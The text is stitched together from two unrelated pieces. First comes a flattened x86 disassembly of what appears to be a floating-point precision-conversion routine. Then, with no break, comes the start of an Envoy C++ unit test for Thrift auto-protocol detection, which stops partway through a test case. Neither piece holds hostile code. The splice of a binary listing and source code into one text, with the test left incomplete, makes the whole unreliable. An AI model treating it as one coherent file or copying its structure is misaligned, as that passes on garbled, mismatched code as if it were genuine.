1000a8be: 55 push ebp 1000a8bf: 8b ec mov ebp,esp 1000a8c1: 83 ec 2c sub esp,0x2c 1000a8c4: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 1000a8c7: 0f b7 48 0a movzx ecx,WORD PTR [eax+0xa] 1000a8cb: 53 push ebx 1000a8cc: 8b d9 mov ebx,ecx 1000a8ce: 81 e1 00 80 00 00 and ecx,0x8000 1000a8d4: 89 4d ec mov DWORD PTR [ebp-0x14],ecx 1000a8d7: 8b 48 06 mov ecx,DWORD PTR [eax+0x6] 1000a8da: 89 4d e0 mov DWORD PTR [ebp-0x20],ecx 1000a8dd: 8b 48 02 mov ecx,DWORD PTR [eax+0x2] 1000a8e0: 0f b7 00 movzx eax,WORD PTR [eax] 1000a8e3: 81 e3 ff 7f 00 00 and ebx,0x7fff 1000a8e9: 81 eb ff 3f 00 00 sub ebx,0x3fff 1000a8ef: c1 e0 10 shl eax,0x10 1000a8f2: 81 fb 01 c0 ff ff cmp ebx,0xffffc001 1000a8f8: 57 push edi 1000a8f9: 89 4d e4 mov DWORD PTR [ebp-0x1c],ecx 1000a8fc: 89 45 e8 mov DWORD PTR [ebp-0x18],eax 1000a8ff: 75 27 jne 0x1000a928 1000a901: 33 db xor ebx,ebx 1000a903: 33 c0 xor eax,eax 1000a905: 39 5c 85 e0 cmp DWORD PTR [ebp+eax*4-0x20],ebx 1000a909: 75 0d jne 0x1000a918 1000a90b: 40 inc eax 1000a90c: 83 f8 03 cmp eax,0x3 1000a90f: 7c f4 jl 0x1000a905 1000a911: 33 c0 xor eax,eax 1000a913: e9 a5 04 00 00 jmp 0x1000adbd 1000a918: 33 c0 xor eax,eax 1000a91a: 8d 7d e0 lea edi,[ebp-0x20] 1000a91d: ab stos DWORD PTR es:[edi],eax 1000a91e: ab stos DWORD PTR es:[edi],eax 1000a91f: 6a 02 push 0x2 1000a921: ab stos DWORD PTR es:[edi],eax 1000a922: 58 pop eax 1000a923: e9 95 04 00 00 jmp 0x1000adbd 1000a928: 83 65 08 00 and DWORD PTR [ebp+0x8],0x0 1000a92c: 56 push esi 1000a92d: 8d 75 e0 lea esi,[ebp-0x20] 1000a930: 8d 7d d4 lea edi,[ebp-0x2c] 1000a933: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 1000a934: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 1000a935: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 1000a936: 8b 35 c0 0b 01 10 mov esi,DWORD PTR ds:0x10010bc0 1000a93c: 4e dec esi 1000a93d: 8d 4e 01 lea ecx,[esi+0x1] 1000a940: 8b c1 mov eax,ecx 1000a942: 99 cdq 1000a943: 83 e2 1f and edx,0x1f 1000a946: 03 c2 add eax,edx 1000a948: c1 f8 05 sar eax,0x5 1000a94b: 8b d1 mov edx,ecx 1000a94d: 81 e2 1f 00 00 80 and edx,0x8000001f 1000a953: 89 5d f0 mov DWORD PTR [ebp-0x10],ebx 1000a956: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 1000a959: 79 05 jns 0x1000a960 1000a95b: 4a dec edx 1000a95c: 83 ca e0 or edx,0xffffffe0 1000a95f: 42 inc edx 1000a960: 8d 7c 85 e0 lea edi,[ebp+eax*4-0x20] 1000a964: 6a 1f push 0x1f 1000a966: 33 c0 xor eax,eax 1000a968: 59 pop ecx 1000a969: 2b ca sub ecx,edx 1000a96b: 40 inc eax 1000a96c: d3 e0 shl eax,cl 1000a96e: 89 4d f8 mov DWORD PTR [ebp-0x8],ecx 1000a971: 85 07 test DWORD PTR [edi],eax 1000a973: 0f 84 8d 00 00 00 je 0x1000aa06 1000a979: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 1000a97c: 83 ca ff or edx,0xffffffff 1000a97f: d3 e2 shl edx,cl 1000a981: f7 d2 not edx 1000a983: 85 54 85 e0 test DWORD PTR [ebp+eax*4-0x20],edx 1000a987: eb 05 jmp 0x1000a98e 1000a989: 83 7c 85 e0 00 cmp DWORD PTR [ebp+eax*4-0x20],0x0 1000a98e: 75 08 jne 0x1000a998 1000a990: 40 inc eax 1000a991: 83 f8 03 cmp eax,0x3 1000a994: 7c f3 jl 0x1000a989 1000a996: eb 6e jmp 0x1000aa06 1000a998: 8b c6 mov eax,esi 1000a99a: 99 cdq 1000a99b: 6a 1f push 0x1f 1000a99d: 59 pop ecx 1000a99e: 23 d1 and edx,ecx 1000a9a0: 03 c2 add eax,edx 1000a9a2: c1 f8 05 sar eax,0x5 1000a9a5: 81 e6 1f 00 00 80 and esi,0x8000001f 1000a9ab: 79 05 jns 0x1000a9b2 1000a9ad: 4e dec esi 1000a9ae: 83 ce e0 or esi,0xffffffe0 1000a9b1: 46 inc esi 1000a9b2: 83 65 fc 00 and DWORD PTR [ebp-0x4],0x0 1000a9b6: 2b ce sub ecx,esi 1000a9b8: 33 d2 xor edx,edx 1000a9ba: 42 inc edx 1000a9bb: d3 e2 shl edx,cl 1000a9bd: 8d 4c 85 e0 lea ecx,[ebp+eax*4-0x20] 1000a9c1: 8b 31 mov esi,DWORD PTR [ecx] 1000a9c3: 03 f2 add esi,edx 1000a9c5: 89 75 08 mov DWORD PTR [ebp+0x8],esi 1000a9c8: 8b 31 mov esi,DWORD PTR [ecx] 1000a9ca: 39 75 08 cmp DWORD PTR [ebp+0x8],esi 1000a9cd: 72 22 jb 0x1000a9f1 1000a9cf: 39 55 08 cmp DWORD PTR [ebp+0x8],edx 1000a9d2: eb 1b jmp 0x1000a9ef 1000a9d4: 85 c9 test ecx,ecx 1000a9d6: 74 2b je 0x1000aa03 1000a9d8: 83 65 fc 00 and DWORD PTR [ebp-0x4],0x0 1000a9dc: 8d 4c 85 e0 lea ecx,[ebp+eax*4-0x20] 1000a9e0: 8b 11 mov edx,DWORD PTR [ecx] 1000a9e2: 8d 72 01 lea esi,[edx+0x1] 1000a9e5: 3b f2 cmp esi,edx 1000a9e7: 89 75 08 mov DWORD PTR [ebp+0x8],esi 1000a9ea: 72 05 jb 0x1000a9f1 1000a9ec: 83 fe 01 cmp esi,0x1 1000a9ef: 73 07 jae 0x1000a9f8 1000a9f1: c7 45 fc 01 00 00 00 mov DWORD PTR [ebp-0x4],0x1 1000a9f8: 48 dec eax 1000a9f9: 8b 55 08 mov edx,DWORD PTR [ebp+0x8] 1000a9fc: 89 11 mov DWORD PTR [ecx],edx 1000a9fe: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 1000aa01: 79 d1 jns 0x1000a9d4 1000aa03: 89 4d 08 mov DWORD PTR [ebp+0x8],ecx 1000aa06: 8b 4d f8 mov ecx,DWORD PTR [ebp-0x8] 1000aa09: 83 c8 ff or eax,0xffffffff 1000aa0c: d3 e0 shl eax,cl 1000aa0e: 21 07 and DWORD PTR [edi],eax 1000aa10: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 1000aa13: 40 inc eax 1000aa14: 83 f8 03 cmp eax,0x3 1000aa17: 7d 0d jge 0x1000aa26 1000aa19: 6a 03 push 0x3 1000aa1b: 59 pop ecx 1000aa1c: 8d 7c 85 e0 lea edi,[ebp+eax*4-0x20] 1000aa20: 2b c8 sub ecx,eax 1000aa22: 33 c0 xor eax,eax 1000aa24: f3 ab rep stos DWORD PTR es:[edi],eax 1000aa26: 83 7d 08 00 cmp DWORD PTR [ebp+0x8],0x0 1000aa2a: 74 01 je 0x1000aa2d 1000aa2c: 43 inc ebx 1000aa2d: a1 bc 0b 01 10 mov eax,ds:0x10010bbc 1000aa32: 8b c8 mov ecx,eax 1000aa34: 2b 0d c0 0b 01 10 sub ecx,DWORD PTR ds:0x10010bc0 1000aa3a: 3b d9 cmp ebx,ecx 1000aa3c: 7d 0d jge 0x1000aa4b 1000aa3e: 33 c0 xor eax,eax 1000aa40: 8d 7d e0 lea edi,[ebp-0x20] 1000aa43: ab stos DWORD PTR es:[edi],eax 1000aa44: ab stos DWORD PTR es:[edi],eax 1000aa45: ab stos DWORD PTR es:[edi],eax 1000aa46: e9 0d 02 00 00 jmp 0x1000ac58 1000aa4b: 3b d8 cmp ebx,eax 1000aa4d: 0f 8f 0f 02 00 00 jg 0x1000ac62 1000aa53: 2b 45 f0 sub eax,DWORD PTR [ebp-0x10] 1000aa56: 8d 75 d4 lea esi,[ebp-0x2c] 1000aa59: 8b c8 mov ecx,eax 1000aa5b: 8d 7d e0 lea edi,[ebp-0x20] 1000aa5e: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 1000aa5f: 99 cdq 1000aa60: 83 e2 1f and edx,0x1f 1000aa63: 03 c2 add eax,edx 1000aa65: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 1000aa66: 8b d1 mov edx,ecx 1000aa68: c1 f8 05 sar eax,0x5 1000aa6b: 81 e2 1f 00 00 80 and edx,0x8000001f 1000aa71: a5 movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 1000aa72: 79 05 jns 0x1000aa79 1000aa74: 4a dec edx 1000aa75: 83 ca e0 or edx,0xffffffe0 1000aa78: 42 inc edx 1000aa79: 83 65 f4 00 and DWORD PTR [ebp-0xc],0x0 1000aa7d: 83 65 08 00 and DWORD PTR [ebp+0x8],0x0 1000aa81: 83 cf ff or edi,0xffffffff 1000aa84: 8b ca mov ecx,edx 1000aa86: d3 e7 shl edi,cl 1000aa88: c7 45 fc 20 00 00 00 mov DWORD PTR [ebp-0x4],0x20 1000aa8f: 29 55 fc sub DWORD PTR [ebp-0x4],edx 1000aa92: f7 d7 not edi 1000aa94: 8b 5d 08 mov ebx,DWORD PTR [ebp+0x8] 1000aa97: 8d 5c 9d e0 lea ebx,[ebp+ebx*4-0x20] 1000aa9b: 8b 33 mov esi,DWORD PTR [ebx] 1000aa9d: 8b ce mov ecx,esi 1000aa9f: 23 cf and ecx,edi 1000aaa1: 89 4d f0 mov DWORD PTR [ebp-0x10],ecx 1000aaa4: 8b ca mov ecx,edx 1000aaa6: d3 ee shr esi,cl 1000aaa8: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 1000aaab: 0b 75 f4 or esi,DWORD PTR [ebp-0xc] 1000aaae: 89 33 mov DWORD PTR [ebx],esi 1000aab0: 8b 75 f0 mov esi,DWORD PTR [ebp-0x10] 1000aab3: d3 e6 shl esi,cl 1000aab5: ff 45 08 inc DWORD PTR [ebp+0x8] 1000aab8: 83 7d 08 03 cmp DWORD PTR [ebp+0x8],0x3 1000aabc: 89 75 f4 mov DWORD PTR [ebp-0xc],esi 1000aabf: 7c d3 jl 0x1000aa94 1000aac1: 8b f0 mov esi,eax 1000aac3: 6a 02 push 0x2 1000aac5: c1 e6 02 shl esi,0x2 1000aac8: 8d 4d e8 lea ecx,[ebp-0x18] 1000aacb: 5a pop edx 1000aacc: 2b ce sub ecx,esi 1000aace: 3b d0 cmp edx,eax 1000aad0: 7c 08 jl 0x1000aada 1000aad2: 8b 31 mov esi,DWORD PTR [ecx] 1000aad4: 89 74 95 e0 mov DWORD PTR [ebp+edx*4-0x20],esi 1000aad8: eb 05 jmp 0x1000aadf 1000aada: 83 64 95 e0 00 and DWORD PTR [ebp+edx*4-0x20],0x0 1000aadf: 4a dec edx 1000aae0: 83 e9 04 sub ecx,0x4 1000aae3: 85 d2 test edx,edx 1000aae5: 7d e7 jge 0x1000aace 1000aae7: 8b 35 c0 0b 01 10 mov esi,DWORD PTR ds:0x10010bc0 1000aaed: 4e dec esi 1000aaee: 8d 4e 01 lea ecx,[esi+0x1] 1000aaf1: 8b c1 mov eax,ecx 1000aaf3: 99 cdq 1000aaf4: 83 e2 1f and edx,0x1f 1000aaf7: 03 c2 add eax,edx 1000aaf9: c1 f8 05 sar eax,0x5 1000aafc: 8b d1 mov edx,ecx 1000aafe: 81 e2 1f 00 00 80 and edx,0x8000001f 1000ab04: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 1000ab07: 79 05 jns 0x1000ab0e 1000ab09: 4a dec edx 1000ab0a: 83 ca e0 or edx,0xffffffe0 1000ab0d: 42 inc edx 1000ab0e: 6a 1f push 0x1f 1000ab10: 59 pop ecx 1000ab11: 2b ca sub ecx,edx 1000ab13: 33 d2 xor edx,edx 1000ab15: 42 inc edx 1000ab16: d3 e2 shl edx,cl 1000ab18: 8d 5c 85 e0 lea ebx,[ebp+eax*4-0x20] 1000ab1c: 89 4d f0 mov DWORD PTR [ebp-0x10],ecx 1000ab1f: 85 13 test DWORD PTR [ebx],edx 1000ab21: 0f 84 82 00 00 00 je 0x1000aba9 1000ab27: 83 ca ff or edx,0xffffffff 1000ab2a: d3 e2 shl edx,cl 1000ab2c: f7 d2 not edx 1000ab2e: 85 54 85 e0 test DWORD PTR [ebp+eax*4-0x20],edx 1000ab32: eb 05 jmp 0x1000ab39 1000ab34: 83 7c 85 e0 00 cmp DWORD PTR [ebp+eax*4-0x20],0x0 1000ab39: 75 08 jne 0x1000ab43 1000ab3b: 40 inc eax 1000ab3c: 83 f8 03 cmp eax,0x3 1000ab3f: 7c f3 jl 0x1000ab34 1000ab41: eb 66 jmp 0x1000aba9 1000ab43: 8b c6 mov eax,esi 1000ab45: 99 cdq 1000ab46: 6a 1f push 0x1f 1000ab48: 59 pop ecx 1000ab49: 23 d1 and edx,ecx 1000ab4b: 03 c2 add eax,edx 1000ab4d: c1 f8 05 sar eax,0x5 1000ab50: 81 e6 1f 00 00 80 and esi,0x8000001f 1000ab56: 79 05 jns 0x1000ab5d 1000ab58: 4e dec esi 1000ab59: 83 ce e0 or esi,0xffffffe0 1000ab5c: 46 inc esi 1000ab5d: 83 65 08 00 and DWORD PTR [ebp+0x8],0x0 1000ab61: 33 d2 xor edx,edx 1000ab63: 2b ce sub ecx,esi 1000ab65: 42 inc edx 1000ab66: d3 e2 shl edx,cl 1000ab68: 8d 4c 85 e0 lea ecx,[ebp+eax*4-0x20] 1000ab6c: 8b 31 mov esi,DWORD PTR [ecx] 1000ab6e: 8d 3c 16 lea edi,[esi+edx*1] 1000ab71: 3b fe cmp edi,esi 1000ab73: 72 04 jb 0x1000ab79 1000ab75: 3b fa cmp edi,edx 1000ab77: 73 07 jae 0x1000ab80 1000ab79: c7 45 08 01 00 00 00 mov DWORD PTR [ebp+0x8],0x1 1000ab80: 89 39 mov DWORD PTR [ecx],edi 1000ab82: 8b 4d 08 mov ecx,DWORD PTR [ebp+0x8] 1000ab85: eb 1f jmp 0x1000aba6 1000ab87: 85 c9 test ecx,ecx 1000ab89: 74 1e je 0x1000aba9 1000ab8b: 8d 4c 85 e0 lea ecx,[ebp+eax*4-0x20] 1000ab8f: 8b 11 mov edx,DWORD PTR [ecx] 1000ab91: 8d 72 01 lea esi,[edx+0x1] 1000ab94: 33 ff xor edi,edi 1000ab96: 3b f2 cmp esi,edx 1000ab98: 72 05 jb 0x1000ab9f 1000ab9a: 83 fe 01 cmp esi,0x1 1000ab9d: 73 03 jae 0x1000aba2 1000ab9f: 33 ff xor edi,edi 1000aba1: 47 inc edi 1000aba2: 89 31 mov DWORD PTR [ecx],esi 1000aba4: 8b cf mov ecx,edi 1000aba6: 48 dec eax 1000aba7: 79 de jns 0x1000ab87 1000aba9: 8b 4d f0 mov ecx,DWORD PTR [ebp-0x10] 1000abac: 83 c8 ff or eax,0xffffffff 1000abaf: d3 e0 shl eax,cl 1000abb1: 21 03 and DWORD PTR [ebx],eax 1000abb3: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 1000abb6: 40 inc eax 1000abb7: 83 f8 03 cmp eax,0x3 1000abba: 7d 0d jge 0x1000abc9 1000abbc: 6a 03 push 0x3 1000abbe: 59 pop ecx 1000abbf: 8d 7c 85 e0 lea edi,[ebp+eax*4-0x20] 1000abc3: 2b c8 sub ecx,eax 1000abc5: 33 c0 xor eax,eax 1000abc7: f3 ab rep stos DWORD PTR es:[edi],eax 1000abc9: 8b 0d c4 0b 01 10 mov ecx,DWORD PTR ds:0x10010bc4 1000abcf: 41 inc ecx 1000abd0: 8b c1 mov eax,ecx 1000abd2: 99 cdq 1000abd3: 83 e2 1f and edx,0x1f 1000abd6: 03 c2 add eax,edx 1000abd8: 8b d1 mov edx,ecx 1000abda: c1 f8 05 sar eax,0x5 1000abdd: 81 e2 1f 00 00 80 and edx,0x8000001f 1000abe3: 79 05 jns 0x1000abea 1000abe5: 4a dec edx 1000abe6: 83 ca e0 or edx,0xffffffe0 1000abe9: 42 inc edx 1000abea: 83 65 f4 00 and DWORD PTR [ebp-0xc],0x0 1000abee: 83 65 08 00 and DWORD PTR [ebp+0x8],0x0 1000abf2: 83 cf ff or edi,0xffffffff 1000abf5: 8b ca mov ecx,edx 1000abf7: d3 e7 shl edi,cl 1000abf9: c7 45 fc 20 00 00 00 mov DWORD PTR [ebp-0x4],0x20 1000ac00: 29 55 fc sub DWORD PTR [ebp-0x4],edx 1000ac03: f7 d7 not edi 1000ac05: 8b 5d 08 mov ebx,DWORD PTR [ebp+0x8] 1000ac08: 8d 5c 9d e0 lea ebx,[ebp+ebx*4-0x20] 1000ac0c: 8b 33 mov esi,DWORD PTR [ebx] 1000ac0e: 8b ce mov ecx,esi 1000ac10: 23 cf and ecx,edi 1000ac12: 89 4d f0 mov DWORD PTR [ebp-0x10],ecx 1000ac15: 8b ca mov ecx,edx 1000ac17: d3 ee shr esi,cl 1000ac19: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 1000ac1c: 0b 75 f4 or esi,DWORD PTR [ebp-0xc] 1000ac1f: 89 33 mov DWORD PTR [ebx],esi 1000ac21: 8b 75 f0 mov esi,DWORD PTR [ebp-0x10] 1000ac24: d3 e6 shl esi,cl 1000ac26: ff 45 08 inc DWORD PTR [ebp+0x8] 1000ac29: 83 7d 08 03 cmp DWORD PTR [ebp+0x8],0x3 1000ac2d: 89 75 f4 mov DWORD PTR [ebp-0xc],esi 1000ac30: 7c d3 jl 0x1000ac05 1000ac32: 8b f0 mov esi,eax 1000ac34: 6a 02 push 0x2 1000ac36: c1 e6 02 shl esi,0x2 1000ac39: 8d 4d e8 lea ecx,[ebp-0x18] 1000ac3c: 5a pop edx 1000ac3d: 2b ce sub ecx,esi 1000ac3f: 3b d0 cmp edx,eax 1000ac41: 7c 08 jl 0x1000ac4b 1000ac43: 8b 31 mov esi,DWORD PTR [ecx] 1000ac45: 89 74 95 e0 mov DWORD PTR [ebp+edx*4-0x20],esi 1000ac49: eb 05 jmp 0x1000ac50 1000ac4b: 83 64 95 e0 00 and DWORD PTR [ebp+edx*4-0x20],0x0 1000ac50: 4a dec edx 1000ac51: 83 e9 04 sub ecx,0x4 1000ac54: 85 d2 test edx,edx 1000ac56: 7d e7 jge 0x1000ac3f 1000ac58: 6a 02 push 0x2 1000ac5a: 33 db xor ebx,ebx 1000ac5c: 58 pop eax 1000ac5d: e9 5a 01 00 00 jmp 0x1000adbc 1000ac62: 3b 1d b8 0b 01 10 cmp ebx,DWORD PTR ds:0x10010bb8 1000ac68: 8b 0d c4 0b 01 10 mov ecx,DWORD PTR ds:0x10010bc4 1000ac6e: 0f 8c ad 00 00 00 jl 0x1000ad21 1000ac74: 33 c0 xor eax,eax 1000ac76: 8d 7d e0 lea edi,[ebp-0x20] 1000ac79: ab stos DWORD PTR es:[edi],eax 1000ac7a: ab stos DWORD PTR es:[edi],eax 1000ac7b: ab stos DWORD PTR es:[edi],eax 1000ac7c: 81 4d e0 00 00 00 80 or DWORD PTR [ebp-0x20],0x80000000 1000ac83: 8b c1 mov eax,ecx 1000ac85: 99 cdq 1000ac86: 83 e2 1f and edx,0x1f 1000ac89: 03 c2 add eax,edx 1000ac8b: 8b d1 mov edx,ecx 1000ac8d: c1 f8 05 sar eax,0x5 1000ac90: 81 e2 1f 00 00 80 and edx,0x8000001f 1000ac96: 79 05 jns 0x1000ac9d 1000ac98: 4a dec edx 1000ac99: 83 ca e0 or edx,0xffffffe0 1000ac9c: 42 inc edx 1000ac9d: 83 65 f4 00 and DWORD PTR [ebp-0xc],0x0 1000aca1: 83 65 08 00 and DWORD PTR [ebp+0x8],0x0 1000aca5: 83 cf ff or edi,0xffffffff 1000aca8: 8b ca mov ecx,edx 1000acaa: d3 e7 shl edi,cl 1000acac: c7 45 fc 20 00 00 00 mov DWORD PTR [ebp-0x4],0x20 1000acb3: 29 55 fc sub DWORD PTR [ebp-0x4],edx 1000acb6: f7 d7 not edi 1000acb8: 8b 5d 08 mov ebx,DWORD PTR [ebp+0x8] 1000acbb: 8d 5c 9d e0 lea ebx,[ebp+ebx*4-0x20] 1000acbf: 8b 33 mov esi,DWORD PTR [ebx] 1000acc1: 8b ce mov ecx,esi 1000acc3: 23 cf and ecx,edi 1000acc5: 89 4d f0 mov DWORD PTR [ebp-0x10],ecx 1000acc8: 8b ca mov ecx,edx 1000acca: d3 ee shr esi,cl 1000accc: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 1000accf: 0b 75 f4 or esi,DWORD PTR [ebp-0xc] 1000acd2: 89 33 mov DWORD PTR [ebx],esi 1000acd4: 8b 75 f0 mov esi,DWORD PTR [ebp-0x10] 1000acd7: d3 e6 shl esi,cl 1000acd9: ff 45 08 inc DWORD PTR [ebp+0x8] 1000acdc: 83 7d 08 03 cmp DWORD PTR [ebp+0x8],0x3 1000ace0: 89 75 f4 mov DWORD PTR [ebp-0xc],esi 1000ace3: 7c d3 jl 0x1000acb8 1000ace5: 8b f0 mov esi,eax 1000ace7: 6a 02 push 0x2 1000ace9: c1 e6 02 shl esi,0x2 1000acec: 8d 4d e8 lea ecx,[ebp-0x18] 1000acef: 5a pop edx 1000acf0: 2b ce sub ecx,esi 1000acf2: 3b d0 cmp edx,eax 1000acf4: 7c 08 jl 0x1000acfe 1000acf6: 8b 31 mov esi,DWORD PTR [ecx] 1000acf8: 89 74 95 e0 mov DWORD PTR [ebp+edx*4-0x20],esi 1000acfc: eb 05 jmp 0x1000ad03 1000acfe: 83 64 95 e0 00 and DWORD PTR [ebp+edx*4-0x20],0x0 1000ad03: 4a dec edx 1000ad04: 83 e9 04 sub ecx,0x4 1000ad07: 85 d2 test edx,edx 1000ad09: 7d e7 jge 0x1000acf2 1000ad0b: a1 b8 0b 01 10 mov eax,ds:0x10010bb8 1000ad10: 8b 0d cc 0b 01 10 mov ecx,DWORD PTR ds:0x10010bcc 1000ad16: 8d 1c 01 lea ebx,[ecx+eax*1] 1000ad19: 33 c0 xor eax,eax 1000ad1b: 40 inc eax 1000ad1c: e9 9b 00 00 00 jmp 0x1000adbc 1000ad21: a1 cc 0b 01 10 mov eax,ds:0x10010bcc 1000ad26: 81 65 e0 ff ff ff 7f and DWORD PTR [ebp-0x20],0x7fffffff 1000ad2d: 03 d8 add ebx,eax 1000ad2f: 8b c1 mov eax,ecx 1000ad31: 99 cdq 1000ad32: 83 e2 1f and edx,0x1f 1000ad35: 03 c2 add eax,edx 1000ad37: 8b d1 mov edx,ecx 1000ad39: c1 f8 05 sar eax,0x5 1000ad3c: 81 e2 1f 00 00 80 and edx,0x8000001f 1000ad42: 79 05 jns 0x1000ad49 1000ad44: 4a dec edx 1000ad45: 83 ca e0 or edx,0xffffffe0 1000ad48: 42 inc edx 1000ad49: 83 65 f4 00 and DWORD PTR [ebp-0xc],0x0 1000ad4d: 83 65 08 00 and DWORD PTR [ebp+0x8],0x0 1000ad51: 83 ce ff or esi,0xffffffff 1000ad54: 8b ca mov ecx,edx 1000ad56: d3 e6 shl esi,cl 1000ad58: c7 45 fc 20 00 00 00 mov DWORD PTR [ebp-0x4],0x20 1000ad5f: 29 55 fc sub DWORD PTR [ebp-0x4],edx 1000ad62: f7 d6 not esi 1000ad64: 8b 4d 08 mov ecx,DWORD PTR [ebp+0x8] 1000ad67: 8b 7c 8d e0 mov edi,DWORD PTR [ebp+ecx*4-0x20] 1000ad6b: 8b cf mov ecx,edi 1000ad6d: 23 ce and ecx,esi 1000ad6f: 89 4d f0 mov DWORD PTR [ebp-0x10],ecx 1000ad72: 8b ca mov ecx,edx 1000ad74: d3 ef shr edi,cl 1000ad76: 8b 4d 08 mov ecx,DWORD PTR [ebp+0x8] 1000ad79: 0b 7d f4 or edi,DWORD PTR [ebp-0xc] 1000ad7c: 89 7c 8d e0 mov DWORD PTR [ebp+ecx*4-0x20],edi 1000ad80: 8b 7d f0 mov edi,DWORD PTR [ebp-0x10] 1000ad83: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 1000ad86: d3 e7 shl edi,cl 1000ad88: ff 45 08 inc DWORD PTR [ebp+0x8] 1000ad8b: 83 7d 08 03 cmp DWORD PTR [ebp+0x8],0x3 1000ad8f: 89 7d f4 mov DWORD PTR [ebp-0xc],edi 1000ad92: 7c d0 jl 0x1000ad64 1000ad94: 8b f0 mov esi,eax 1000ad96: 6a 02 push 0x2 1000ad98: c1 e6 02 shl esi,0x2 1000ad9b: 8d 4d e8 lea ecx,[ebp-0x18] 1000ad9e: 5a pop edx 1000ad9f: 2b ce sub ecx,esi 1000ada1: 3b d0 cmp edx,eax 1000ada3: 7c 08 jl 0x1000adad 1000ada5: 8b 31 mov esi,DWORD PTR [ecx] 1000ada7: 89 74 95 e0 mov DWORD PTR [ebp+edx*4-0x20],esi 1000adab: eb 05 jmp 0x1000adb2 1000adad: 83 64 95 e0 00 and DWORD PTR [ebp+edx*4-0x20],0x0 1000adb2: 4a dec edx 1000adb3: 83 e9 04 sub ecx,0x4 1000adb6: 85 d2 test edx,edx 1000adb8: 7d e7 jge 0x1000ada1 1000adba: 33 c0 xor eax,eax 1000adbc: 5e pop esi 1000adbd: 6a 1f push 0x1f 1000adbf: 59 pop ecx 1000adc0: 2b 0d c4 0b 01 10 sub ecx,DWORD PTR ds:0x10010bc4 1000adc6: d3 e3 shl ebx,cl 1000adc8: 8b 4d ec mov ecx,DWORD PTR [ebp-0x14] 1000adcb: f7 d9 neg ecx 1000adcd: 1b c9 sbb ecx,ecx 1000adcf: 81 e1 00 00 00 80 and ecx,0x80000000 1000add5: 0b d9 or ebx,ecx 1000add7: 8b 0d c8 0b 01 10 mov ecx,DWORD PTR ds:0x10010bc8 1000addd: 0b 5d e0 or ebx,DWORD PTR [ebp-0x20] 1000ade0: 83 f9 40 cmp ecx,0x40 1000ade3: 75 0d jne 0x1000adf2 1000ade5: 8b 4d 0c mov ecx,DWORD PTR [ebp+0xc] 1000ade8: 8b 55 e4 mov edx,DWORD PTR [ebp-0x1c] 1000adeb: 89 59 04 mov DWORD PTR [ecx+0x4],ebx 1000adee: 89 11 mov DWORD PTR [ecx],edx 1000adf0: eb 0a jmp 0x1000adfc 1000adf2: 83 f9 20 cmp ecx,0x20 1000adf5: 75 05 jne 0x1000adfc 1000adf7: 8b 4d 0c mov ecx,DWORD PTR [ebp+0xc] 1000adfa: 89 19 mov DWORD PTR [ecx],ebx 1000adfc: 5f pop edi 1000adfd: 5b pop ebx 1000adfe: c9 leave 1000adff: c3 ret
#include "envoy/common/exception.h" #include "common/buffer/buffer_impl.h" #include "extensions/filters/network/thrift_proxy/auto_protocol_impl.h" #include "extensions/filters/network/thrift_proxy/binary_protocol_impl.h" #include "extensions/filters/network/thrift_proxy/compact_protocol_impl.h" #include "extensions/filters/network/thrift_proxy/twitter_protocol_impl.h" #include "test/extensions/filters/network/thrift_proxy/mocks.h" #include "test/extensions/filters/network/thrift_proxy/utility.h" #include "test/test_common/printers.h" #include "test/test_common/utility.h" #include "gmock/gmock.h" #include "gtest/gtest.h" using testing::NiceMock; using testing::Ref; using testing::Return; using testing::ReturnRef; namespace Envoy { namespace Extensions { namespace NetworkFilters { namespace ThriftProxy { class AutoProtocolTest : public testing::Test { public: void resetMetadata() { metadata_.setMethodName("-"); metadata_.setMessageType(MessageType::Oneway); metadata_.setSequenceId(-1); } void expectMetadata(const std::string& name, MessageType msg_type, int32_t seq_id) { EXPECT_TRUE(metadata_.hasMethodName()); EXPECT_EQ(name, metadata_.methodName()); EXPECT_TRUE(metadata_.hasMessageType()); EXPECT_EQ(msg_type, metadata_.messageType()); EXPECT_TRUE(metadata_.hasSequenceId()); EXPECT_EQ(seq_id, metadata_.sequenceId()); EXPECT_FALSE(metadata_.hasFrameSize()); EXPECT_FALSE(metadata_.hasProtocol()); EXPECT_FALSE(metadata_.hasAppException()); EXPECT_EQ(metadata_.headers().size(), 0); } void expectDefaultMetadata() { expectMetadata("-", MessageType::Oneway, -1); } MessageMetadata metadata_; }; TEST(ProtocolNames, FromType) { for (int i = 0; i <= static_cast<int>(ProtocolType::LastProtocolType); i++) { ProtocolType type = static_cast<ProtocolType>(i); EXPECT_NE("", ProtocolNames::get().fromType(type)); } } TEST_F(AutoProtocolTest, NotEnoughData) { // Too short for any auto detection { Buffer::OwnedImpl buffer; AutoProtocolImpl proto; resetMetadata(); buffer.writeByte(0); EXPECT_FALSE(proto.readMessageBegin(buffer, metadata_)); expectDefaultMetadata(); } // Binary protocol, but too short to distinguish Twitter protocol { AutoProtocolImpl proto; resetMetadata(); Buffer::OwnedImpl buffer; buffer.writeBEInt<int16_t>(0x8001); EXPECT_FALSE(proto.readMessageBegin(buffer, metadata_)); } } TEST_F(AutoProtocolTest, UnknownProtocol) { Buffer::OwnedImpl buffer; AutoProtocolImpl proto; resetMetadata(); buffer.writeBEInt<int16_t>(0x0102); EXPECT_THROW_WITH_MESSAGE(proto.readMessageBegin(buffer, metadata_), EnvoyException, "unknown thrift auto protocol message start 0102"); expectDefaultMetadata(); } TEST_F(AutoProtocolTest, ReadMessageBegin) { // Binary Protocol { AutoProtocolImpl proto; resetMetadata(); Buffer::OwnedImpl buffer; buffer.writeBEInt<int16_t>(0x8001); buffer.writeByte(0); buffer.writeByte(MessageType::Call); buffer.writeBEInt<int32_t>(8); buffer.add("the_name"); buffer.writeBEInt<int32_t>(1); 